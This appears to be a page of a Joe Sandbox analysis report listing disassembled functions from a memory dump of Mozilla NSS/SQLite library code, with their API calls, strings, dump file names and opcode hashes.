Function 6C711C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=al,?,?,6C614E1D), ref: 6C711C8A
sqlite3_free.NSS3(00000000), ref: 6C711CB6

Strings

a generated column, xrefs: 6C711C6C
an index, xrefs: 6C711C67
w=al, xrefs: 6C711C44
a CHECK constraint, xrefs: 6C711C76, 6C711C81
non-deterministic use of %s() in %s, xrefs: 6C711C85

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=al
API String ID: 1840970956-2538564091
Opcode ID: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction ID: 907e8cfbbc4660655b70a1ebca924529beaaf3d78dbe201b660b11b892566211
Opcode Fuzzy Hash: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction Fuzzy Hash: 3D0124B1A001005BD700BE68D90297273E5EFC638CB55487DEC489BB02EE22EC67C755

Function 6C6F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4DE0

Strings

API call with %s database connection pointer, xrefs: 6C6F4DBD
%s at line %d of [%.10s], xrefs: 6C6F4DDA
invalid, xrefs: 6C6F4DB8
misuse, xrefs: 6C6F4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4DCB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction ID: 25aeabc8a4b8ebb6030d21e45147a00179dda7edac5796d6d1cf45a9ddcd5a42
Opcode Fuzzy Hash: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction Fuzzy Hash: DBF05921E157286BE7004015CF21FE233DA4F01329F8709B0ED247BE53DA46BDA182E8

Function 6C6F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4E4D

Strings

API call with %s database connection pointer, xrefs: 6C6F4E2A
%s at line %d of [%.10s], xrefs: 6C6F4E47
invalid, xrefs: 6C6F4E25
misuse, xrefs: 6C6F4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4E38

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction ID: 630b6a8f0424df66b846e5a4210607ad2a4616c7526a85d9377b68d7da81a8d3
Opcode Fuzzy Hash: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction Fuzzy Hash: A0F09E20F456182BE70002259F11FE3338B4741329F8A44B0EE2437E82CA49AE7302D9

Function 6C629FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C62A086
EnterCriticalSection.KERNEL32(?), ref: 6C62A09B
PR_Unlock.NSS3(?), ref: 6C62A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A0E9
TlsGetValue.KERNEL32 ref: 6C62A11B
EnterCriticalSection.KERNEL32(?), ref: 6C62A12F
PR_Unlock.NSS3(?), ref: 6C62A148

Part of subcall function 6C641A40: PR_Now.NSS3(?,00000000,6C6228AD,00000000,?,6C63F09A,00000000,6C6228AD,6C6293B0,?,6C6293B0,6C6228AD,00000000,?,00000000), ref: 6C641A65

Part of subcall function 6C641940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C644126,?), ref: 6C641966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A1A3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction ID: 61c02a3bf95f9c514cf281205c7aefc48e00a12907292840f6ed64dd993db7c2
Opcode Fuzzy Hash: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction Fuzzy Hash: D0512AB1E002059BEB109F29CC44AABB7B9EF8735CB144039DC19D7702EF75D845CAA9

Function 6C660C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C660CB3

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DEC

Part of subcall function 6C680F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
Part of subcall function 6C680F10: malloc.MOZGLUE(00000001), ref: 6C680F30
Part of subcall function 6C680F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000), ref: 6C660E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000), ref: 6C660E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E79

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Part of subcall function 6C63B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C641397,00000000,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1CB
Part of subcall function 6C63B1A0: free.MOZGLUE(5B5F5EC0,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1D2

Part of subcall function 6C6389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A04
Part of subcall function 6C6389E0: EnterCriticalSection.KERNEL32(?), ref: 6C638A15
Part of subcall function 6C6389E0: memset.VCRUNTIME140(6C6388AE,00000000,00000132), ref: 6C638A27
Part of subcall function 6C6389E0: PR_Unlock.NSS3(?), ref: 6C638A35

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction ID: 39b7196ebf84d0f931294fb287f8cba17484f4526377c9ec8d8790d0a7a74f90
Opcode Fuzzy Hash: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction Fuzzy Hash: 7B5194B6E002106FEB019F65DC81AAB37A8AF46318F154534ED0997B12F731ED1986AF

Function 6C616E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C616ED8
sqlite3_value_text.NSS3(?,?), ref: 6C616EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C616FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C616FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C616FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C617010
sqlite3_value_blob.NSS3(?,?), ref: 6C61701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C617052

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 601a48cb0278bd8669d1a0a77e96b152c48e2a2f582f654999f90486de83de47
Instruction ID: a95318b8f6774e5796a6997aa557d7f95aa8ce676bec8141d78a1cc6e5d92d85
Opcode Fuzzy Hash: 601a48cb0278bd8669d1a0a77e96b152c48e2a2f582f654999f90486de83de47
Instruction Fuzzy Hash: 9161AFB5E192098FDB00CF69C8407EEB7B2EF8530AF284165D815ABB51E731DC15CB99

Function 6C688F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C687313), ref: 6C688FBB

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C687313), ref: 6C689012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C687313), ref: 6C68903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C68909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890F1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C687313), ref: 6C68906B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C687313), ref: 6C689128

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5a82c090b3c35340ac15e50990554db0e619f223c76ba1305897fd3d4d90621a
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1051C071A062019FEB10CF6ADC84B26B3F9AF4531CF154029E955D7B61EB32E800CBB9

Function 6C639C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C638850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
Part of subcall function 6C638850: PR_NewLock.NSS3 ref: 6C638874
Part of subcall function 6C638850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

PR_NewLock.NSS3 ref: 6C639CAD

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C639CE8
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D01
TlsGetValue.KERNEL32(?,?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D38
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D4D
PR_Unlock.NSS3 ref: 6C639D70
PR_Unlock.NSS3 ref: 6C639DC3
PR_NewLock.NSS3 ref: 6C639DDD

Part of subcall function 6C6388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638906
Part of subcall function 6C6388D0: EnterCriticalSection.KERNEL32(?), ref: 6C63891A
Part of subcall function 6C6388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C63894A
Part of subcall function 6C6388D0: calloc.MOZGLUE(00000001,6C64072D,00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638959
Part of subcall function 6C6388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C638993
Part of subcall function 6C6388D0: PR_Unlock.NSS3(?), ref: 6C6389AF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction ID: c65fe7741c4a3e4ae5325551fd6c284cf63cf2c80ef5206e5ddb96c0a24a5be9
Opcode Fuzzy Hash: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction Fuzzy Hash: 015193B0A05B158FDB01EF68C08569ABBF0BF45349F15A569D89CDB710DB30E844CF99

Function 6C739EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C739EC0
EnterCriticalSection.KERNEL32(?), ref: 6C739EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C739F73
EnterCriticalSection.KERNEL32(?), ref: 6C739FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C739FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C739FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C73A01D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction ID: 024838c9a732b782321a745fe03b54c8afae15e1d8f3aeb7cf05d9dac91b3528
Opcode Fuzzy Hash: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction Fuzzy Hash: 8E51F0B2804211CBCB109F21D88468AB7F4FF19319F25866AD85D57B23EB31E884CBD5

Function 6C62DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C62DCFA

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C62DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C62DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C62DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C62DD8F

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C62DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C62DDB7

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 59a93d409369cb4b3b1e19fb1f968f93cbd3c8b5936da8313e44263838079b31
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 4D2180B6E019255BDB019E94DC40ADE77B4EF05318B144824E814A7705E729E915CFE9

Function 6C6B5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F72

Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED8F
Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED9E
Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FCC
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FF4
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FFB
